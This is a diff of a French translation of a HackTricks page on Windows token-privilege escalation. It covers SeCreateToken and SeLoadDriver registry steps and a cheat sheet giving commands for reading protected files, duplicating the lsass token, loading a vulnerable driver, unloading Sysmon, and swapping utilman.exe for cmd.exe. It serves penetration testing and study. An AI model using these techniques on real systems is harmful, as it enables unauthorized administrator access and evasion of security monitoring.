[https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1) @@ -67,7 +67,7 @@ La permission pour **accéder en écriture** à n'importe quel fichier système, SeCreateTokenPrivilege est une permission puissante, particulièrement utile lorsqu'un utilisateur possède la capacité d'impersonner des jetons, mais aussi en l'absence de SeImpersonatePrivilege. Cette capacité repose sur la capacité d'impersonner un jeton qui représente le même utilisateur et dont le niveau d'intégrité n'excède pas celui du processus actuel. **Points clés :** -- **Impersonation sans SeImpersonatePrivilege :** Il est possible de tirer parti de SeCreateTokenPrivilege pour l'élévation de privilèges en impersonnant des jetons dans des conditions spécifiques. +- **Impersonation sans SeImpersonatePrivilege :** Il est possible d'utiliser SeCreateTokenPrivilege pour l'EoP en impersonnant des jetons dans des conditions spécifiques. - **Conditions pour l'impersonation de jetons :** L'impersonation réussie nécessite que le jeton cible appartienne au même utilisateur et ait un niveau d'intégrité inférieur ou égal à celui du processus tentant l'impersonation. - **Création et modification de jetons d'impersonation :** Les utilisateurs peuvent créer un jeton d'impersonation et l'améliorer en ajoutant l'identifiant de sécurité (SID) d'un groupe privilégié. @@ -81,8 +81,8 @@ Ce chemin est `\Registry\User\\System\CurrentControlSet\Services\DriverName **Étapes à suivre :** 1. Accédez à `HKCU` au lieu de `HKLM` en raison de l'accès en écriture restreint. -2. Créez le chemin `\Registry\User\\System\CurrentControlSet\Services\DriverName` dans `HKCU`, où `` représente l'Identifiant Relatif de l'utilisateur actuel. -3. Définissez `ImagePath` sur le chemin d'exécution du binaire. +2. Créez le chemin `\Registry\User\\System\CurrentControlSet\Services\DriverName` dans `HKCU`, où `` représente l Identifiant Relatif de l'utilisateur actuel. +3. Définissez le `ImagePath` sur le chemin d'exécution du binaire. 4. Attribuez le `Type` comme `SERVICE_KERNEL_DRIVER` (`0x00000001`). ```python # Example Python code to set the registry values @@ -157,7 +157,7 @@ Ou le **script** intégré dans ce [**poste**](https://www.leeholmes.com/adjusti ## Tableau -Feuille de triche complète des privilèges de jeton sur [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), le résumé ci-dessous ne répertorie que les moyens directs d'exploiter le privilège pour obtenir une session administrateur ou lire des fichiers sensibles. +Feuille de triche complète des privilèges de jeton sur [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), le résumé ci-dessous ne répertoriera que les moyens directs d'exploiter le privilège pour obtenir une session administrateur ou lire des fichiers sensibles. | Privilège | Impact | Outil | Chemin d'exécution | Remarques | | -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | @@ -165,7 +165,7 @@ Feuille de triche complète des privilèges de jeton sur [https://github.com/gtw | **`SeBackup`** | **Menace** | _**Commandes intégrées**_ | Lire des fichiers sensibles avec `robocopy /b` |

- Peut être plus intéressant si vous pouvez lire %WINDIR%\MEMORY.DMP

- SeBackupPrivilege (et robocopy) n'est pas utile pour les fichiers ouverts.

- Robocopy nécessite à la fois SeBackup et SeRestore pour fonctionner avec le paramètre /b.

| | **`SeCreateToken`** | _**Admin**_ | Outil tiers | Créer un jeton arbitraire incluant des droits d'administrateur local avec `NtCreateToken`. | | | **`SeDebug`** | _**Admin**_ | **PowerShell** | Dupliquer le jeton `lsass.exe`. | Script à trouver sur [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | -| **`SeLoadDriver`** | _**Admin**_ | Outil tiers |

1. Charger un pilote de noyau bogué tel que szkg64.sys
2. Exploiter la vulnérabilité du pilote

Alternativement, le privilège peut être utilisé pour décharger des pilotes liés à la sécurité avec la commande intégrée ftlMC. par exemple : fltMC sysmondrv

|

1. La vulnérabilité de szkg64 est répertoriée sous le nom de CVE-2018-15732
2. Le code d'exploitation de szkg64 a été créé par Parvez Anwar

| +| **`SeLoadDriver`** | _**Admin**_ | Outil tiers |

1. Charger un pilote de noyau bogué tel que szkg64.sys
2. Exploiter la vulnérabilité du pilote

Alternativement, le privilège peut être utilisé pour décharger des pilotes liés à la sécurité avec la commande intégrée ftlMC. par exemple : fltMC sysmondrv

|

1. La vulnérabilité de szkg64 est répertoriée sous CVE-2018-15732
2. Le code d'exploitation de szkg64 a été créé par Parvez Anwar

| | **`SeRestore`** | _**Admin**_ | **PowerShell** |

1. Lancer PowerShell/ISE avec le privilège SeRestore présent.
2. Activer le privilège avec Enable-SeRestorePrivilege).
3. Renommer utilman.exe en utilman.old
4. Renommer cmd.exe en utilman.exe
5. Verrouiller la console et appuyer sur Win+U

|

L'attaque peut être détectée par certains logiciels antivirus.

Une méthode alternative repose sur le remplacement des binaires de service stockés dans "Program Files" en utilisant le même privilège

| | **`SeTakeOwnership`** | _**Admin**_ | _**Commandes intégrées**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. Renommer cmd.exe en utilman.exe
4. Verrouiller la console et appuyer sur Win+U

|

L'attaque peut être détectée par certains logiciels antivirus.

Une méthode alternative repose sur le remplacement des binaires de service stockés dans "Program Files" en utilisant le même privilège.

| | **`SeTcb`** | _**Admin**_ | Outil tiers |

Manipuler les jetons pour inclure des droits d'administrateur local. Peut nécessiter SeImpersonate.

À vérifier.

| | @@ -177,12 +177,12 @@ Feuille de triche complète des privilèges de jeton sur [https://github.com/gtw
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -* Travaillez-vous dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.